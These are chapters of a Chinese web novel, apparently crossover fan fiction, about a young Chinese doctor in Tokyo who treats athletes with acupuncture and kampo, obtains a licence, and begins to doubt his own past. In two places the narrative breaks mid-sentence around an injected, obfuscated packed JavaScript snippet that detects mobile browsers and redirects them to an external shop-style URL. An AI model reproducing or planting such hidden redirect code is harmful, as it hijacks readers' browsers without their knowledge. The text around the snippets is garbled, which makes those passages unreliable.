江起快速浏览病历。手术记录详尽,康复计划看起来也很标准,但职业运动员,尤其是对肩关节要求极高的投手,术后恢复本就是巨大挑战,合并心理问题更是雪上加霜,这种病例,现代运动医学也常常束手无策。 “他想尝试汉方和针灸?”江起问。 “是的,他和他经纪人抱着‘死马当活马医’的态度。不过,”石田一郎话锋一转,“这里面水可能不浅。 职业体育,尤其是棒球这种国□□动,牵扯的利益巨大。 这位小林选手虽然现在是替补,但曾经是被寄予厚望的潜力股,他的伤和状态下滑,背后有没有其他因素不好说。 我们治病归治病,但不要卷入球队内部或他个人的任何是非,只负责医疗部分,明白吗?” “我明白。”江起点点头,石田一郎的提醒很及时,给职业运动员治病,尤其是状态低迷的运动员,确实可能牵涉更复杂的因素。 第一次见小林圭介,是在一个工作日的傍晚。 他穿着普通的运动帽衫和长裤,帽子压得很低,但依旧能看出高大挺拔的运动员身形,只是他的气色很差,眼袋很深,眼神里充满了焦虑、不甘和一丝不易察觉的绝望。 陪同他来的是一位三十多岁、看起来精明干练的男性经纪人,姓高桥。 问诊和检查花了很长时间。 小林圭介的英语不错,沟通还算顺畅。 他详细描述了手术过程,以及术后那种“挥之不去的不对劲感”——不是持续的剧痛,而是一种深层的、酸涩的滞重感,在特定角度发力时尤其明显,而且肩关节的“位置感”和“发力流畅感”似乎消失了。 至于“Yips”,他痛苦地描述:“当我站在投手丘上,或者哪怕只是牛棚,想着要把球投进好球带时,有时候肩膀会突然‘锁住’,不是肌肉痉挛,更像是……大脑和手臂之间的信号断了,球会莫名其妙地飞掉,我越是想控制,就越糟。” 江起进行了极其细致的体格检查,小林圭介的左肩活动度尚可,但外展、外旋的终末端有明确的涩滞感和轻微疼痛。 肌肉力量测试显示,冈下肌、小圆肌等外旋肌群力量明显弱于对侧,且存在肌肉激活顺序紊乱。 当他凝神触诊时,能清晰地感知到肩关节深处(尤其是盂唇手术区域周围)存在顽固的炎性粘连和筋膜紧张,气血流通严重不畅。 更重要的是,当他引导小林圭介做一些极轻的、模拟投球初期动作时,能明显感觉到对方身体的紧绷和那种“不协调”的僵硬感,这似乎超越了单纯的器质性病变,涉及到神经-肌肉控制环路的功能失调。 “你的问题,是器质性损伤、术后恢复不良、以及由此引发的神经肌肉控制功能紊乱和心理压力,三者交织在一起的复杂状态。” 检查结束后,江起给出了初步判断,“手术修复了结构,但局部的微环境(炎症、循环、筋膜张力)没有恢复到理想状态,影响了本体感觉和发力效率。 而这种身体上的‘不对劲’,在高压的训练和比赛情境下,又被放大,干扰了你的神经控制,形成了恶性循环。 单纯的心理疏导,或者单纯的物理治疗,可能都难以打破这个循环。” 小林圭介和经纪人高桥都听得非常认真,眼中燃起了一丝希望,江起的分析,比他们之前听到的“心理问题”或“恢复不彻底”要深入和具体得多。 “江医生,那……您的汉方和针灸,能帮上忙吗?”小林圭介急切地问。 “可以尝试。”江起谨慎地说,“目标不是取代你的现代康复训练,而是协同。 针灸和特定的汉方药,旨在消除你关节深层的顽固炎症和粘连,改善局部气血循环,这有助于恢复正常的本体感觉和肌肉工作环境。、 同时,通过调节相关的经络和气血,可能对稳定你的植物神经功能、缓解焦虑、改善睡眠也有帮助,但这需要一个过程,而且需要你绝对配合,包括严格的饮食控制、作息,以及坚持我们制定的、与现有康复计划不冲突的补充训练。 另外,关于投球失忆症的部分,我可能需要和你的运动心理老师沟通,确保我们的干预方向一致。” “我配合!我怎么都配合!”小林圭介几乎是喊着说,眼眶有些发红,“只要有一线希望能让我重新站上投手丘,我什么都愿意做!球队那边……高桥先生会去沟通。” 高桥经纪人也郑重表示会全力协调。 首次治疗,江起主要以针灸为主,选取了局部与远道穴位结合,重点在于疏通肩部气血、松解筋膜,并配以安神定志的穴位。 治疗过程中,他能感觉到小林圭介肩部的紧张在慢慢缓解,起针后,小林活动了一下肩膀,眼中露出惊异:“感觉……轻松了一点,那种沉甸甸、发紧的感觉,好像松了些。” “这只是开始,明天开始,配合汉方药。我会根据你的体质和病情开方,主要方向是活血化瘀、舒筋通络、益气安神。”江起一边写处方,一边叮嘱注意事项。 送走小林圭介二人,天色已晚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952217|191987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江起回到静室,开始为小林拟定药方。 这位投手的病情,与幸村的“虚损”为主不同,更多是“瘀阻”和“失调”,治疗思路需更强调整“通”和“调”。 他很快拟定了一个以桃红四物汤合桂枝茯苓丸为底方,加减伸筋草、威灵仙、酸枣仁、合欢皮的方子,重在活血祛瘀、通络止痛、兼以宁神。 然而,就在他凝神思考一味佐药的剂量时,那股熟悉悸动感,毫无征兆地再次袭来。 强度不如上次剧烈,但感觉更加清晰、聚焦。 不再是爆炸性的碎片轰炸,而是一种持续的、低沉的厌恶与排斥,仿佛有什么东西在附近,散发着令他灵魂都感到不适的“气息”。 同时,太阳穴传来隐隐的、有节奏的胀痛。 他猛地停笔,捂住额头,强忍着不适,锐利的目光迅速扫过静室,房间里只有他一个人,空气中弥漫着熟悉的书墨和药材气味,没有异常,但那种被“污染”的感觉是如此真实。 他深吸一口气,强迫自己冷静,开始像侦察兵一样,仔细分辨空气中每一种细微的气味。 檀香、陈年纸张、墨汁、各种药材的余味……然后,他的鼻翼微微翕动,捕捉到了一丝几乎难以察觉,但绝不属于这间静室的陌生化学气味。 那气味很奇特,带着一丝冰冷的金属感,混合着某种难以形容,人造的甜味剂的气息,与他上次幻觉中那甜腥腐朽的气味有令人不安的相似性,但又不完全相同。 气味来源……似乎是自己?不,是沾在自己白大褂袖口上的? 江起立刻低头,仔细嗅闻自己的袖口。刚才为小林圭介做检查时,曾有近距离接触…… 是了!这极其微弱的古怪化学气味,似乎来自小林圭介身上?可能是他用的某种特殊运动喷雾、止痛贴膏、甚至是……沐浴露或洗发水? 职业运动员使用各种运动护理产品很正常,但为什么这种气味会引发自己如此强烈的负面感应?是这种化学成分本身的问题,还是它勾起了自己潜意识里某种更深的、与“运动医学”或“损伤”相关的糟糕联想? 江起的心脏沉沉地跳动着,他坐回椅子,手指无意识地敲击着桌面。 小林圭介的伤……真的只是普通的运动损伤和术后恢复不良吗?他描述的“不对劲感”和“Yips”,有没有可能,存在其他更深层的、甚至是非医学的干扰因素?比如……药物? 这个念头让他悚然一惊,职业体育界使用违禁药物,或灰色地带的“辅助药物”并非新闻。 有些药物短期内能增强表现或加速恢复,但可能带来长期的、诡异的神经肌肉副作用。 难道小林圭介在美国治疗或康复期间,接触过某些非常规的东西,留下了后遗症?或者,他至今仍在某种不知情的情况下,使用着某些东西? 而他(江起)因为某种未知的原因,对这些特定的化学物质或它们带来的生理状态,有着超乎常人、近乎本能的厌恶和警觉? 这推测很大胆,甚至有些离奇,缺乏证据,但结合自己身上这些无法解释的感应,江起不得不将之作为一个需要警惕的可能性。 他拿起手机,犹豫了一下,没有打给松田或萩原。 这件事太模糊,仅仅是基于自己虚无缥缈的“感觉”和一丝可疑的气味,报警或告知警方都太儿戏,但他也不能完全置之不理。 他重新打开关于小林圭介的病历摘要,目光落在“美国手术及康复”的字样上,或许,应该更深入地了解一下他受伤的具体经过、手术医院、以及康复过程中的细节?还有他目前所使用的所有药物和护理产品清单? 就在这时,手机屏幕亮起,一条新信息来自松田阵平,内容简短,却让江起眼皮一跳: 【你新接的那个打棒球的病人,叫小林圭介的,稍微注意点,他球队所在的集团,和我们正在盯的某个洗钱案有点间接关联,虽然目前看和他本人无关。例行提醒,另外,最近少去人杂的球场之类的地方。】 信息戛然而止。 江起看着屏幕,久久没有动作。 石田一郎的提醒,自己莫名的感应,松田含糊的警告……几条原本看似不相干的线,因为这个突然出现的职业棒球手,隐隐有交织在一起的趋势。 东京的夜,窗外依旧灯火璀璨。静室里,只剩下江起沉静的呼吸和脑海中飞速旋转的思绪。 29.第 29 章 秋意渐深,石田诊疗所庭院里的枫树开始染上第一抹红晕。 江起的生活在取得针灸师资格后,进入了一种表面规律、实则暗流潜藏的节奏。 上午在东大上课,下午在诊所接诊针灸患者,晚上则一头扎进静室,研读古籍,整理幸村精市和小林圭介的病案,并为那遥不可及又似乎触手可及的“汉方药应用资格”做着理论准备。 幸村精市的治疗进入平稳期。 针药协同下,他精力和睡眠的改善趋于稳定,肢体末端麻木的范围持续缓慢缩小。 柳莲二的数据曲线显示出令人鼓舞的持续上升趋势,虽然斜率平缓,但方向明确。 真田弦一郎每次陪同前来,虽然依旧面容冷峻,但看向江起时,眼神里的那份凝重已悄然转化为一种沉静的认可。 切原赤也偶尔会跟着来,美其名曰“探望部长”,实则总会找个机会,扭扭捏捏地让江起也帮他看看“最近跑步膝盖有点不得劲”,或者“眼睛好像又干涩了”。 江起看得出这孩子纯粹是想找借口多接触,但也不点破,每次都认真检查,给予一些简单的保健建议或穴位按摩指导,往往能让切原满意而归,仿佛得到了什么独家秘方。 这天下午,诊疗室的门被敲响。 江起抬头,看到门外站着的是柳莲二和丸井文太,还有一个他没见过,戴着鸭舌帽、嚼着口香糖的红发少年,眉眼间带着几分桀骜不驯。 “江医生,打扰了。”柳莲二微微颔首,“幸村君今天的治疗很顺利,他让我再次转达感谢,另外,这位是仁王雅治,也是网球部的,他想咨询一些……关于身体柔韧性和关节负荷方面的问题。”柳莲二的措辞一如既往的严谨。 仁王雅治拿下帽子,随意地抓了抓头发,银蓝色的眼眸里带着探究和一丝玩味:“噗哩,听赤也那小子和文太吹得神乎其神,说江医生你眼睛比X光还厉害,随便看看就知道哪里有毛病。” "我最近练新招式,感觉身体有点不对,但又说不上来具体哪里不对,医院检查一切正常,所以……来试试。” 丸井文太在一旁吹了个绿色的泡泡:“仁王这家伙疑心病最重了,莲二的数据他都未必全信,居然会主动来看医生,太阳打西边出来!” 江起笑了笑,请仁王坐下,他没有立刻上手检查,而是先仔细观察对方的神情、坐姿、以及无意识活动身体的小动作。 在凝神之下,他能隐约感知到仁王的腰骶部和左侧肩胛区域,存在着一种轻微但持续的功能性张力不平衡,并非器质性病变,更像是因为长期进行不对称,高技巧性训练,导致部分肌肉群过度代偿,神经肌肉控制效率出现细微偏差。 这种问题在追求极限身体操控的运动员中并不少见,但往往很难被常规检查捕捉。 “你是不是在练习某些需要大幅度扭转身体,或者瞬间改变发力方向的技巧时,感觉完成度不如预期,或者结束后特定部位,比如,这里、这里会有隐约的酸胀疲劳感,恢复起来比别的部位慢?”江起用手指虚点了几个位置。 仁王雅治嚼口香糖的动作停住了,眼中玩味的神色被惊讶取代:“……噗哩,说中了。左边肩膀后面和腰下面,确实是这种感觉。你怎么看出来的?” “经验,加上一点观察。”江起没有深入解释,“问题不严重,但持续下去可能会影响动作精度,甚至增加受伤风险,可以通过调整训练中相关肌群的激活顺序,加强薄弱环节的力量和稳定性训练来纠正。” “另外,”他拿出针具,“如果你不介意,我可以现在用针灸帮你稍微疏通一下,这两个区域的气血,缓解目前的代偿性紧张,你会立刻感觉到不同,之后我再告诉柳君几个针对性的训练建议,你们可以融入日常练习。” 仁王挑了挑眉,看了一眼柳莲二,后者几不可查地点了点头。“好吧,试试看。” 治疗时间不长。 江起取穴精准,手法轻灵。 起针后,仁王站起来活动了一下肩膀和腰部,脸上露出毫不掩饰的惊奇:“……轻松了好多!那种隐隐约约的牵扯感真的没了!噗哩,有点意思。” 他看向江起的目光里,多了几分货真价实的兴趣。 柳莲二迅速在平板电脑上记录着,并向江起详细询问了具体的训练调整要点。 丸井文太则在旁边绘声绘色地描述,自己手腕被“瞬间治好”的经历。 一时间,诊疗室里充满了少年人特有的生机勃勃的气息。 送走立海大三人组,江起心情不错,这种纯粹基于专业能力的认可和互动,让他感到充实。 然而,这份轻松并未持续太久。 傍晚时分,他正在整理病历,石田一郎面色凝重地走了进来,手里拿着一份正式的信函。 “江君,汉方医药协会,和厚生劳动省联合评审委员会的通知。”石田一郎将信函递给他,“关于你的汉方药应用特例资格申请……他们决定举行一次‘公开答辩暨案例分析评审会’。” 江起接过信函,快速浏览。 评审会定在下周三下午,地点在协会大楼。 形式是面对由七位顶尖专家组成的评审团,进行为期一小时的公开答辩。评审会将模拟真实临床环境,现场抽选一个复杂疑难病例(保密),要求申请者在限定时间内分析病情,提出汉方治疗思路,拟定详细方药,并回答评审团所有可能的质疑。 整个过程公开、透明、压力巨大。 “公开答辩……现场抽题……”江起缓缓重复。 这比预想的笔试加面试更加严苛,充满了不确定性和临场压力的考验,显然,那些反对派想用这种方式,最大限度地检验他的“真才实学”,或者,让他当众出丑。 “压力很大。”石田一郎直言不讳,“但这也是机会,如果能在这种场合下表现出色,你将一举奠定在专业圈子里的地位,任何质疑都会烟消云散。 小泉教授私下透露,之所以采用这种形式,一方面是因为反对声音强烈,另一方面……也是因为‘上面’有人希望看到一个更公开、更有说服力的结果。”他意味深长地看了江起一眼,“你救下的那位‘贵人’,其影响力正在以这种方式显现,他们希望帮你,但必须帮得让人无话可说。” 江起明白了,这是一场必须赢下的战役,不仅仅是为了资格,也为了不辜负那些暗中推动的力量,更是为了证明自己。 “我会全力以赴。”他收起信函,眼神坚定。 “好,这几天,除了必要的诊疗,其他事情先放一放,诊所里的所有资源,随你调用,需要什么特殊病例资料或者古籍参考,告诉我,我去想办法。”石田一郎拍了拍他的肩膀,“记住,把你那些‘家传’的本事,都亮出来。” 石田一郎离开后,江起独自坐在诊疗室里,手指轻轻敲击着桌面。 公开答辩,现场抽题……这无疑是一场硬仗,他需要复习的东西浩如烟海,但更重要的是临场的应变和扎实到令人信服的理论根基。 就在这时,手机震动。是松田阵平发来的短信,只有一句话:【晚上有空?老地方,请你吃拉面,顺便说点事。】 江起回复:【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973374|191987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,七点?】 【准时。】 傍晚七点,“骨道”拉面店。 江起到的时候,松田阵平已经在了,面前照例是一杯冰水,萩原研二居然不在。 “萩原君没来?”江起坐下。 “他临时有外勤。”松田言简意赅,“吃什么?” “和你一样。” 点完餐,两人之间沉默了片刻,只有周围食客的喧闹声,松田的手指无意识地转动着水杯,似乎在斟酌措辞。 “听说,你要参加一个什么公开评审会?”松田忽然开口,目光从水杯移到江起脸上。 江起有些意外,消息传得这么快?“是,汉方药应用资格的最终评审,下周三。” “嗯。”松田应了一声,拿起筷子拨弄着桌上免费提供的辣豆芽,“那个……小林圭介。” 江起心中一凛,专注地看向他。 “我们查到一些东西。”松田的声音压得更低,确保只有两人能听见,“曙医疗集团旗下,除了正规的运动医疗中心,还有一个挂靠在某大学研究所名下的‘神经-运动机能优化研究室’。” “名义上是研究运动损伤康复和表现提升,但资金来源复杂,有几笔大额赞助来自海外一些背景模糊的生物科技基金会,更重要的是,”他顿了顿,眼神锐利,“这个研究室的部分‘实验性辅助方案’,曾在小林圭介在美国术后康复期间,作为‘高端定制康复服务’的一部分,向他提供过,没有明确证据是违禁药物,但记录很模糊,用的都是一些代号,小林本人可能都不完全清楚自己接触了什么。” 江起的心沉了下去,果然,他的不安并非空穴来风。“这些信息……” “暂时动不了他们,缺乏直接证据,而且牵扯到跨国研究和商业机密。”松田放下筷子,“告诉你这个,是让你心里有数,你给他治疗时,如果发现任何不同寻常的身体反应,或者他提到什么特别的‘药物’、‘理疗’,多留个心,另外,”, 他看着江起,“你自己也要小心,你现在风头正劲,又即将拿到更关键的资格。曙集团那种地方,对‘特殊人才’的兴趣可能不亚于对摇钱树,别轻易接受不明来历的‘合作邀请’或‘研究机会’。” “我明白。”江起郑重地点头,“评审会在即,我不会分心,小林选手的治疗,我会在专业范围内尽力,也会注意观察。” “嗯。”松田似乎松了口气,拿起桌上的冰水喝了一口,然后,用几乎微不可闻的声音,带着一丝别扭说道:“那个……手腕,好多了,谢了。” 江起愣了一下,随即反应过来,微笑道:“有效就好,下周我再帮你巩固一次。” 松田“嗯”了一声,移开目光,正好看到老板端着两碗热气腾腾的拉面走来。“面来了。” 两人开始吃面,这次,沉默不再显得尴尬,反而有种朋友间不必多言的默契。 “评审会,”松田吃了几口,忽然又开口,“别紧张,你救活佐藤管理官,搞定那个公安的感染,还有现在治的这些疑难杂症,靠的不是运气。” 他顿了顿,似乎不习惯说这种话,但还是很认真地说了下去,“是靠真本事,到时候,把真本事拿出来就行。” 江起心中涌起一股暖流。“我会的,谢谢,松田君。” 松田没再说什么,只是专注地吃完了自己那碗面,离开时,他像往常一样,只是简单地道别,然后走向他那辆白色的RX-7。 江起站在巷口,看着他车子消失的方向。 秋夜的凉风吹过,带着萧瑟,也带着清晰。 30.第 30 章 柳莲二的数据曲线,在某一天下午,陡峭地向上扬起一个近乎突兀的弧度。 那是在幸村精市完成第四次针药协同治疗后的第二天。 柳莲二照例在诊所的观察室里,为他进行每周一次的详细肌力、感觉和神经传导速度的简易评估。 当幸村精市尝试用右手食指和拇指,去捏取测试用的小钢珠时,以往那种难以避免的轻微颤抖和力不从心的迟滞感,消失了,钢珠被稳稳捏起,移动到指定位置,放下。 动作算不上迅捷,但流畅、稳定、受控。 柳莲二握着平板电脑的手指几不可查地收紧了一瞬,他推了推眼镜,镜片后的目光锐利如扫描仪,他没有说话,只是迅速调出过去几周的同项目数据对比。 图表上,代表操作稳定性的那根线,从长期的低位徘徊,在今天这个点,跃升到了一个全新的平台。 “幸村,”柳莲二的声音依旧平稳,但语速略快,“尝试用最大力握拳,坚持五秒。” 幸村精市依言照做,他苍白的右手缓缓收紧,手背的青筋微微凸起。 虽然力量依然远逊于常人,但那种虚弱无根的漂浮感明显减弱,取而代之的是一种……实实在在的、从肌肉深处传递出来的“存在感”。 五秒后松开,手指并未立刻疲软地摊开,而是保持着轻微,有控制的弯曲。 真田弦一郎站在一旁,如同最沉默的磐石,但他的嘴唇紧紧抿成一条线,握着网球袋带子的手,指节微微发白。 江起没有看数据图表,他的目光落在幸村精市的眼睛里,那双鸢蓝色的眼眸,此刻像是被投入了星火的深潭,平静的水面下,有什么东西正在剧烈地燃烧、沸腾,几乎要满溢出来。 那不是单纯的喜悦,而是一种失而复得的战栗。 “江医生,”幸村精市开口,声音比平时更轻,却带着一种穿透人心的力量,“我感觉……我的手指,好像终于听我的话了,不是以前那种隔着厚厚手套的模糊指令,是……清晰的连接。” 江起走过去,手指搭上他的腕脉,脉搏的跳动,比之前更加沉稳有力,虽然依旧偏弱,但那种虚浮无根的感觉已然大减。 气血正在复苏,经络正在被打通,被自身免疫风暴摧残过的神经肌肉,在“复元振痿汤”和精准针灸的持续滋养与激发下,终于开始迸发出顽强、属于生命本身的修复力量。 “比预想的要快。”江起收回手,脸上露出一丝真切、放松的笑意,“照这个趋势,持续巩固治疗,配合科学的康复训练,最迟两个月,你应该可以进行低强度的挥拍练习,明年春天的全国大赛,”他顿了顿,清晰地看到幸村和真田的瞳孔同时收缩,“未必赶不上。” “全国大赛……”幸村精市低声重复了一遍这四个字,随即,一个无比明亮、几乎灼目的笑容,在他苍白的脸上绽开。 那笑容驱散了所有病气,重新点亮了“神之子”应有的光芒。 真田弦一郎猛地闭上了眼睛,下颌线绷得死紧,再睁开时,眼底竟有微不可察的水光一闪而过。 柳莲二低下头,快速在平板上记录着什么,只有他自己知道,那飞速跳动的数据背后,是怎样的心潮起伏。 立海大三巨头离开诊所时,脚步似乎都比往常轻快了许多。 尤其是切原赤也(他今天死活要跟来),几乎是蹦跳着出去的,嘴里嚷嚷着要立刻把这个“天大的好消息”告诉所有前辈。 石田一郎目睹了全过程,当诊疗室只剩下他和江起时,这位向来沉稳的老人,也忍不住长长地舒了一口气,眼中满是惊叹与骄傲。 “江君,你创造了一个奇迹。”石田一郎郑重地说,“一个足以载入现代汉方治疗神经损伤病例的奇迹,幸村君的变化,不是简单的症状缓解,是功能层面的实质性逆转,这……已经超出了常规医学的预期。” “是幸村君自己的意志和生命力足够顽强,药物和针灸只是提供了必要的助力。”江起谦虚道,但内心也难掩激荡。 系统提供的知识和优化方案,在幸村身上得到了完美的验证,这不仅仅是治好了一个病人,更是证明了那条融合古今智慧的道路,确实拥有改变绝境的力量。 幸村精市病情获得突破性好转的消息,如同插上了翅膀。 它首先在以立海大附属中学为中心的小圈子里引发了地震,旋即通过柳莲二那严谨到可怕的数据报告,以及柳家在日本医学界的人脉,悄然传到了汉方医药协会那些资深委员的耳中。 原本对江起汉方药应用资格持最强烈反对意见的小泉教授,在亲自审阅了柳莲二提供的、包含详细治疗前后对比数据,及幸村本人最新功能评估视频的资料后,沉默了整整一个下午。 第二天,他主动联系了评审委员会的其他成员,以及厚生劳动省的相关官员。 “如果这样的病例,这样的疗效,都不能证明申请人在汉方药学上拥有破格应用的能力和责任心,”小泉教授在电话会议中,声音沉缓而有力,“那我们坚持的所谓‘资历’和‘常规’,究竟是为了保护患者,还是为了扼杀真正的可能性?” 一周后,江起没有等到预想中那场压力山大的公开答辩会。 他收到的是汉方医药协会和厚生劳动省联合签发的《特例汉方药应用指导资格认定书》,以及一份措辞严谨但评价极高的评审结论摘要。 结论中,特别提到了“基于对某复杂性神经损伤恢复期病例的成功,干预实践及显著疗效验证”,认为申请人“展现了超越常规的汉方医学造诣、精准的辨证施治能力及高度的临床责任感,具备在严格监督下进行汉方药应用的资格”。 没有鲜花,没有掌声,只有一封正式的信函和一张崭新的资格证。 但它的分量,重逾千斤,这意味着,从今以后,他可以名正言顺地开方用药,真正将“针药并用”的完整中医手段,应用于临床。 几乎与此同时,一个意想不到的涟漪,从更远的地方荡漾而来。 中国驻日本大使馆的文化参赞,通过官方渠道联系了石田诊疗所,表示希望能拜访江起医生。 会面安排在一个下午,地点在诊疗所的会客室,参赞是一位气质儒雅的中年人,说话带着温和的京腔。 “江起医生,您好,首先,请允许我代表使馆,对您在日留学期间取得的杰出成就,表示祝贺。” 参赞开门见山,态度亲切而不失庄重,“您以精湛的医术,成功治疗了日本青少年网球界颇具声望的幸村精市选手的疑难病症,这件事不仅在日本相关领域引起了很大反响,也传回了国内。 国内的中医药界和媒体,都对您这位在异国他乡弘扬祖国传统医学、并取得如此显著成绩的年轻学子,非常关注。” 江起有些愕然,连忙谦逊了几句。 参赞继续道:“您可能不知道,您的事迹,经由一些在日华人媒体和关注中日文化交流人士的传播,在国内也掀起了一股小小的‘汉方热’或‘中医热’。 很多民众,特别是年轻一代,对传统医学的兴趣有所提升。 甚至最近一段时间,通过旅游渠道来日,希望体验或咨询汉方医学的中国游客数量,都有可察的微小增长,大家有一种观点,觉得能培养出您这样年轻天才的国家,其传统医学的底蕴一定更加深厚。” 江起听得有些恍惚,他只是在治病救人,完全没想到会引发如此连锁反应,甚至上升到“文化交流”和“国家形象”的层面。 “大使先生对此也非常重视。”参赞微笑道,“他认为,您通过个人努力和专业能力,无形中为增进中日两国民间友好、促进传统医学交流,做出了非常积极、实在的贡献。 因此,特别委托我前来,向您转达使馆的敬意和鼓励,希望您今后能继续精进医术,悬壶济世,同时也成为连接两国人民理解与友谊的一座桥梁。 如果在日期间遇到任何 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一个身处异国、卷入不明危险的留学生,在感到不安时,本能想到的求助对象,难道不应该是自己国家的使馆吗?这是最常规、最自然的反应。 但他没有,一次都没有。 他的第一反应永远是靠自己观察、判断、周旋,或者……下意识地依赖松田阵平、萩原研二这些日本警察,甚至是神秘的黑田兵卫。 为什么?是因为觉得使馆程序繁琐、帮不上具体忙?还是因为在潜意识深处,他并不完全认同自己“需要被保护的中国留学生”这个身份?抑或是……有某种更深层、连他自己都未曾察觉的原因,在阻止他向那个方向寻求庇护? 寒意,从脊椎慢慢爬升。 傍晚,他离开诊所,思绪纷乱地走在回公寓的路上。 华灯初上,街道上满是下班归家的人群,空气里飘荡着食物的香气,和疲惫而放松的谈笑声。 路过一个街边公园时,他看到一个年轻的日本上班族,正拿着手机,用有些夸张但充满幸福的语气对着镜头说:“……妈妈,我升职了!虽然加班多了点,但奖金也会多一点!你和爸爸要注意身体啊,我下个月攒了假就回去看你们……对了,爸爸的腰痛好点没?我寄回去的那个膏药贴有用吗?……” 那充满生活气息的、对家人絮絮叨叨的关怀,像一面镜子,瞬间照出了江起生活中某个巨大的、他一直刻意忽略的空白。 他停下脚步,僵在原地。 电话……家人……爷爷…… 他来到日本留学,已经快半年了。 他给家里打过几次电话?发过几次信息?记忆像是蒙上了一层厚厚的灰,模糊不清。 为什么? 一种冰冷的、空洞的恐惧感攥住了他的心脏。不是对外在危险的恐惧,而是对自我认知缺失的恐惧。 他明明有家人,有关心他的人,但那份联结感,为何如此稀薄,如此……像是隔着一层毛玻璃?他对危险异常敏感,对医术无师自通,对某些场景和气味有近乎本能的剧烈排斥,却唯独对最平常的亲情牵绊,显得如此迟钝和疏离? 这一切,到底是怎么回事?他身上,除了那个来历不明的“神医系统”,到底还藏着什么? 他站在东京喧嚣的街头,看着周围陌生的人流和璀璨却冰冷的霓虹,第一次感到了一种深入骨髓的孤独和迷失,手中的汉方医师资格证仿佛失去了温度,大使馆的认可也变得遥远而不真实。 治愈他人的奇迹已然发生,通往更高医学殿堂的门扉已然打开,但属于江起自己的谜题,关于他从何处来、为何拥有这些能力、又为何与“正常”的情感联结如此隔膜的谜题,却在这一刻,伴随着未拨出的电话和从未深想的归途,轰然降临。 夜风吹过,带着初冬的凛冽。 他握紧了口袋里的手机,屏幕漆黑,安静无声,回家的路就在前方,但他忽然不知道,哪里才是自己真正该回去的“家”。